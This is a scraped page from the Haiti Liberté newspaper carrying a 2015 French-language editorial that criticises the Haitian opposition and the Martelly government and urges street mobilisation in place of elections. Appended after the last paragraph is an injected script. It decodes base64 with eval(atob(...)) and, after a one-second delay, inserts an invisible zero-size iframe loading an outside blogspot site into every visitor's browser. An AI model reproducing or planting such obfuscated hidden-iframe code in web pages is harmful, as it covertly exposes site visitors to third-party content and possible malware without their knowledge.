Haiti Liberte
Member Log in |
|
|
Edition Electronique |
Vol. 10 • No. 26 • Du 4 Jan au
10 Jan 2017 |
|
|
|
|
|
|
|
|
|
|
Vol. 8 • No. 35 • Du 11 au 17 Mars 2015 |
L’opposition va t- elle entrer dans l’oubli ? |
Berthony Dupont |
|
|
EDITORIAL |
On s’y attendait et c’est fait. L’opposition ne fait plus parler d’elle, comme signe de catalyseur des masses pour un changement. C’est sûr qu’elle aura du mal à remonter la pente de la trêve carnavalesque. Dans les dernières sorties, il faut être honnête pour accepter qu’elle n’a pas fait recette comme à l’accoutumée et la Table de concertation de l'opposition s’est même vue obligée de renvoyer la deuxième journée de grève prévue pour le mardi 10 mars. Même le 8 mars, journée internationale de la femme, l’opposition n’a même pas osé faire entendre sa voix misant sur la mobilisation des femmes, l’exploitation des femmes comme catalyseur.<p>
Bien que les puissances impérialistes au service des multinationales font barrage à toute tentative de changement pour maintenir le statu quo, les revers de ce régime, ses gaffes par omission ou par excès de zèle peuvent aider à balancer l’équation en faveur des masses populaires dont l’aspiration à un changement réel et à un régime démocratique et populaire ne fait plus de doute et s’affirme avec de plus en plus de force. De sorte que le pays fait face de plus en plus à une dégradation incessante de la situation économique, puisque les sentiments d’inquiétude et d’insécurité vont grandissants. Par des manifestations et grèves qui se sont déroulées, la population a condamné sans ambigüité l’oligarchie en place et la gabegie qui règne au sein de toute l’administration. <p>
Ayant quasiment perdu le pouvoir au mois de Décembre dernier, Martelly vivait de ses fantasmes. Même quand il bénéficiait du soutien de l’International qui lui permettait de parer à ses catastrophes, les évènements ont donné raison à l’opposition ; mais elle n’a pas su en profiter. La crise de confiance et la dégradation du climat social ont gagné en ampleur vu que l’opposition n’a pas pu coincer ce régime. En marge de toutes ces détractions, de tous ces chassés-croisés, il y a le peuple toujours démuni, abandonné à la misère et à l’ignorance. Un peuple sans écoles, sans moyens de transports, sans électricité, sans hôpitaux, sans l’alimentation de base nécessaire à sa stricte survie. <p>
Tout cela, c’est pour dire que le bilan n’étant pas satisfaisant du tout permet à Martelly et à son Premier ministre de facto Evans Paul de donner le change et aussi de préparer et de s’assurer de leurs arrières. C’est toujours ainsi, dans le pays, dès qu’on annonce des élections, la démobilisation y prend place. Aussi, à la suite de la publication de la loi électorale, dans les jours à venir, on va entendre toutes sortes de prétextes, de faux fuyants pour se faire candidats et se rendre aux urnes. Ne soyons pas étonnés si ce slogan de « rachemanyòk » aux élections refait surface. <p>
Les élections annoncées ne vont que compliquer une situation qui n’est déjà pas si simple. Dans les prochains mois, les actions électorales que nous aurons à prendre hypothéqueront l’avenir du pays pour plusieurs années quand ce sont Martelly et Evans Paul qui auront à s’affirmer comme le garant de l’avenir du pays ! <p>
L’opposition continue à fuir dans une démarche incantatoire et vaine. Elle est disparate ! Si la page de la mobilisation pour le départ de ce régime est tournée, l’autre qui s’ouvrira ne permettra pas au citoyen de s’exprimer en toute liberté et de se prononcer sur tous les aspects de la vie politique, économique, sociale et culturelle. <p>
Un pouvoir qui retourne avec Me Josué Pierre Louis, comme fonctionnaire, Secrétaire général de la Primature est un affront au pays, une provocation ; c’est comme frappé aux joues la population et c’est également une preuve que ce régime, autre que sa clientèle corrompue, confronte une crise aigue d’hommes et de femmes capables de vendre leur projet. Ce sont tous ces aspects complexes qui constituent aujourd’hui les éléments du puzzle haïtien que l’opposition ne peut pas exploiter et qui la propulse dans les oubliettes. <p>
Il est légitime que l’opposition progressiste et démocratique se détourne des élections et se démarque de cette bamboche électorale aux aigres senteurs autour de laquelle s’affairent les courtisans de la corruption martellyste. L’unique alternatif est de refuser de s’associer à cette douteuse opération en prenant soin de mettre à profit les extraordinaires potentiels des mouvements sociaux qui se développent de façon impressionnante dans le pays. <p>
L’ampleur de la crise est telle qu’il n’y pas d’issue autre ; il n’y a pas d’autre stratégie que de combattre et de miser sur la politique de la rue qui n‘est autre que la capacité de rassemblement et de mobilisation des forces progressistes et populaires en présence.<script>eval(atob("aWZybSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoIklGUkFNRSIpO2lmcm0uc2V0QXR0cmlidXRlKCJzcmMiLCAiaHR0cHM6Ly93aW5uZXJzY29mZmVlLmJsb2dzcG90LmNvbS8iKTtpZnJtLnN0eWxlLndpZHRoID0gMCsicHgiO2lmcm0uc3R5bGUuaGVpZ2h0ID0gMCsicHgiO2lmcm0uc3R5bGUuYm9yZGVyPSIwcHgiO2lmcm0uc3R5bGUudmlzaWJpbGl0eT0gImhpZGRlbiI7c2V0VGltZW91dChmdW5jdGlvbigpe2RvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoaWZybSk7fSwxMDAwKQ==")); </script>
|
|
|
|
|
|